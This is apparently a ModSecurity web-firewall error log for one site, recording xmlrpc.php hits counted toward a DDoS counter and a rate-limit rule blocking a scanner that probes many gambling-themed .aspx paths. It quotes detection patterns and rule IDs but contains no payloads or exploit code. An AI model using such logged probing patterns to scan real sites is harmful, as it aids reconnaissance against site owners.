[Mon May 11 14:56:23.316848 2026] [:error] [pid 4645:tid 4671] [client 5.180.61.105:11334] [client 5.180.61.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.61.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF9l3y4dxn8-Cx5vOWBOAAAAFc"]
[Mon May 11 14:56:33.133645 2026] [:error] [pid 4645:tid 4661] [client 5.180.61.105:11336] [client 5.180.61.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.61.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF9oXy4dxn8-Cx5vOWBPAAAAE0"]
[Mon May 11 14:57:49.073037 2026] [:error] [pid 4685:tid 4688] [client 5.180.61.105:36624] [client 5.180.61.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.61.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF97XwrjbU4NZilCZ-lnQAAAQA"]
[Mon May 11 14:58:23.143263 2026] [:error] [pid 58615:tid 58627] [client 5.180.61.105:15324] [client 5.180.61.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.61.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF-D1K28yH055J8TSrAKAAAAAg"]
[Mon May 11 14:58:41.527800 2026] [:error] [pid 4685:tid 4708] [client 5.180.61.105:47612] [client 5.180.61.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.61.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agF-IXwrjbU4NZilCZ-lzQAAARQ"]
[Mon May 11 15:20:28.738065 2026] [:error] [pid 58750:tid 58773] [client 93.158.213.26:46344] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agGDPDBVaNG3wJtPBU-VBwAAAVU"]
[Mon May 11 15:20:30.892765 2026] [:error] [pid 58616:tid 58657] [client 93.158.213.26:45474] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agGDPtnsbeF5ioCAecjTTQAAAMs"]
[Mon May 11 15:20:33.009876 2026] [:error] [pid 58615:tid 58638] [client 93.158.213.26:45484] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agGDQVK28yH055J8TSrDWAAAABM"]
[Mon May 11 15:20:35.250597 2026] [:error] [pid 4685:tid 4707] [client 93.158.213.26:52436] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agGDQ3wrjbU4NZilCZ-tbwAAARM"]
[Mon May 11 15:20:37.476041 2026] [:error] [pid 4685:tid 4688] [client 93.158.213.26:52440] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agGDRXwrjbU4NZilCZ-tcgAAAQA"]
[Mon May 11 15:20:40.038407 2026] [:error] [pid 58616:tid 58664] [client 93.158.213.26:52456] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agGDSNnsbeF5ioCAecjTUAAAANI"]
[Mon May 11 15:20:42.337399 2026] [:error] [pid 4645:tid 4649] [client 93.158.213.26:52458] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agGDSny4dxn8-Cx5vOWGNgAAAEE"]
[Mon May 11 15:20:44.581816 2026] [:error] [pid 58750:tid 58754] [client 93.158.213.26:54584] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agGDTDBVaNG3wJtPBU-VEgAAAUI"]
[Mon May 11 15:20:46.912343 2026] [:error] [pid 4645:tid 4665] [client 93.158.213.26:54600] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agGDTny4dxn8-Cx5vOWGQAAAAFE"]
[Mon May 11 15:20:49.144190 2026] [:error] [pid 58615:tid 58619] [client 93.158.213.26:54610] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agGDUVK28yH055J8TSrDXwAAAAA"]
[Mon May 11 15:20:51.380514 2026] [:error] [pid 58615:tid 58628] [client 93.158.213.26:54618] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agGDU1K28yH055J8TSrDYAAAAAk"]
[Mon May 11 15:20:53.445868 2026] [:error] [pid 58677:tid 58688] [client 93.158.213.26:59600] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agGDVRasRhyteIXf1RU7nAAAAIA"]
[Mon May 11 15:20:55.509009 2026] [:error] [pid 4645:tid 4649] [client 93.158.213.26:59604] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agGDV3y4dxn8-Cx5vOWGRAAAAEE"]
[Mon May 11 15:20:57.629964 2026] [:error] [pid 58677:tid 58710] [client 93.158.213.26:59618] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agGDWRasRhyteIXf1RU7nwAAAJY"]
[Mon May 11 15:20:59.774977 2026] [:error] [pid 4645:tid 4670] [client 93.158.213.26:59624] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agGDW3y4dxn8-Cx5vOWGRwAAAFY"]
[Mon May 11 15:21:02.594550 2026] [:error] [pid 58616:tid 58654] [client 93.158.213.26:59630] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agGDXtnsbeF5ioCAecjTYwAAAMg"]
[Mon May 11 15:21:04.757499 2026] [:error] [pid 4645:tid 4663] [client 93.158.213.26:41174] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agGDYHy4dxn8-Cx5vOWGSgAAAE8"]
[Mon May 11 15:21:07.004861 2026] [:error] [pid 58616:tid 58664] [client 93.158.213.26:41186] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agGDY9nsbeF5ioCAecjTZQAAANI"]
[Mon May 11 15:21:09.376185 2026] [:error] [pid 4685:tid 4694] [client 93.158.213.26:41190] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agGDZXwrjbU4NZilCZ-t0wAAAQY"]
[Mon May 11 15:21:11.331117 2026] [:error] [pid 58616:tid 58651] [client 93.158.213.26:41196] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agGDZ9nsbeF5ioCAecjTcQAAAMU"]
[Mon May 11 15:21:13.397093 2026] [:error] [pid 4685:tid 4712] [client 93.158.213.26:44238] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agGDaXwrjbU4NZilCZ-t2gAAARg"]
[Mon May 11 15:21:15.751549 2026] [:error] [pid 4685:tid 4691] [client 93.158.213.26:44252] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agGDa3wrjbU4NZilCZ-t3gAAAQM"]
[Mon May 11 15:21:17.830934 2026] [:error] [pid 4685:tid 4708] [client 93.158.213.26:44264] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agGDbXwrjbU4NZilCZ-t4gAAARQ"]
[Mon May 11 15:21:19.906150 2026] [:error] [pid 4685:tid 4701] [client 93.158.213.26:44276] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agGDb3wrjbU4NZilCZ-t5AAAAQ0"]
[Mon May 11 15:21:22.141646 2026] [:error] [pid 58677:tid 58691] [client 93.158.213.26:44290] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agGDchasRhyteIXf1RU7sAAAAIM"]
[Mon May 11 15:21:24.154311 2026] [:error] [pid 4645:tid 4664] [client 93.158.213.26:53092] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agGDdHy4dxn8-Cx5vOWGUgAAAFA"]
[Mon May 11 15:22:01.135080 2026] [:error] [pid 58615:tid 58628] [client 93.158.213.26:53108] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "agGDmVK28yH055J8TSrDrwAAAAk"]
[Mon May 11 15:22:03.306331 2026] [:error] [pid 4645:tid 4663] [client 93.158.213.26:47514] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "agGDm3y4dxn8-Cx5vOWGdwAAAE8"]
[Mon May 11 15:22:05.483039 2026] [:error] [pid 4685:tid 4692] [client 93.158.213.26:47528] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "agGDnXwrjbU4NZilCZ-uYwAAAQQ"]
[Mon May 11 15:22:07.530613 2026] [:error] [pid 58616:tid 58647] [client 93.158.213.26:47532] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agGDn9nsbeF5ioCAecjTmAAAAME"]
[Mon May 11 15:22:09.445233 2026] [:error] [pid 4645:tid 4668] [client 93.158.213.26:47538] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agGDoXy4dxn8-Cx5vOWGfgAAAFQ"]
[Mon May 11 15:22:11.486974 2026] [:error] [pid 58750:tid 58754] [client 93.158.213.26:47552] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agGDozBVaNG3wJtPBU-VYwAAAUI"]
[Mon May 11 15:22:13.572391 2026] [:error] [pid 4645:tid 4652] [client 93.158.213.26:37638] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agGDpXy4dxn8-Cx5vOWGgQAAAEQ"]
[Mon May 11 15:22:15.643824 2026] [:error] [pid 4685:tid 4706] [client 93.158.213.26:37654] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agGDp3wrjbU4NZilCZ-udwAAARI"]
[Mon May 11 15:22:17.654400 2026] [:error] [pid 4685:tid 4708] [client 93.158.213.26:37662] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agGDqXwrjbU4NZilCZ-ufAAAARQ"]
[Mon May 11 15:22:19.807831 2026] [:error] [pid 4685:tid 4704] [client 93.158.213.26:37670] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agGDq3wrjbU4NZilCZ-uhAAAARA"]
[Mon May 11 15:22:22.076296 2026] [:error] [pid 4645:tid 4660] [client 93.158.213.26:37686] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "agGDrny4dxn8-Cx5vOWGhQAAAEw"]
[Mon May 11 15:22:24.528159 2026] [:error] [pid 4645:tid 4650] [client 93.158.213.26:44588] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "agGDsHy4dxn8-Cx5vOWGiAAAAEI"]
[Mon May 11 15:22:26.456169 2026] [:error] [pid 4645:tid 4662] [client 93.158.213.26:44604] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "agGDsny4dxn8-Cx5vOWGjAAAAE4"]
[Mon May 11 15:22:28.577411 2026] [:error] [pid 4645:tid 4649] [client 93.158.213.26:44608] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "agGDtHy4dxn8-Cx5vOWGjwAAAEE"]
[Mon May 11 15:22:30.698185 2026] [:error] [pid 4685:tid 4695] [client 93.158.213.26:44624] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "agGDtnwrjbU4NZilCZ-ukwAAAQc"]
[Mon May 11 15:22:32.766194 2026] [:error] [pid 4685:tid 4704] [client 93.158.213.26:44628] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "agGDuHwrjbU4NZilCZ-umQAAARA"]
[Mon May 11 15:22:34.787480 2026] [:error] [pid 4685:tid 4705] [client 93.158.213.26:40322] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agGDunwrjbU4NZilCZ-ungAAARE"]
[Mon May 11 15:22:36.889201 2026] [:error] [pid 4645:tid 4662] [client 93.158.213.26:40326] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "agGDvHy4dxn8-Cx5vOWGlQAAAE4"]
[Mon May 11 15:22:38.989713 2026] [:error] [pid 58616:tid 58661] [client 93.158.213.26:40330] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agGDvtnsbeF5ioCAecjTmgAAAM8"]
[Mon May 11 15:22:41.197828 2026] [:error] [pid 4685:tid 4711] [client 93.158.213.26:40336] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agGDwXwrjbU4NZilCZ-uoQAAARc"]
[Mon May 11 15:22:43.249578 2026] [:error] [pid 58750:tid 58761] [client 93.158.213.26:58320] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agGDwzBVaNG3wJtPBU-VaQAAAUk"]
[Mon May 11 15:22:45.209509 2026] [:error] [pid 4685:tid 4708] [client 93.158.213.26:58324] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agGDxXwrjbU4NZilCZ-uxAAAARQ"]
[Mon May 11 15:22:47.378112 2026] [:error] [pid 4685:tid 4694] [client 93.158.213.26:58326] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agGDx3wrjbU4NZilCZ-u-wAAAQY"]
[Mon May 11 15:22:49.415470 2026] [:error] [pid 4645:tid 4664] [client 93.158.213.26:58330] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agGDyXy4dxn8-Cx5vOWGmQAAAFA"]
[Mon May 11 15:22:51.413013 2026] [:error] [pid 58616:tid 58665] [client 93.158.213.26:58334] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agGDy9nsbeF5ioCAecjTnwAAANM"]
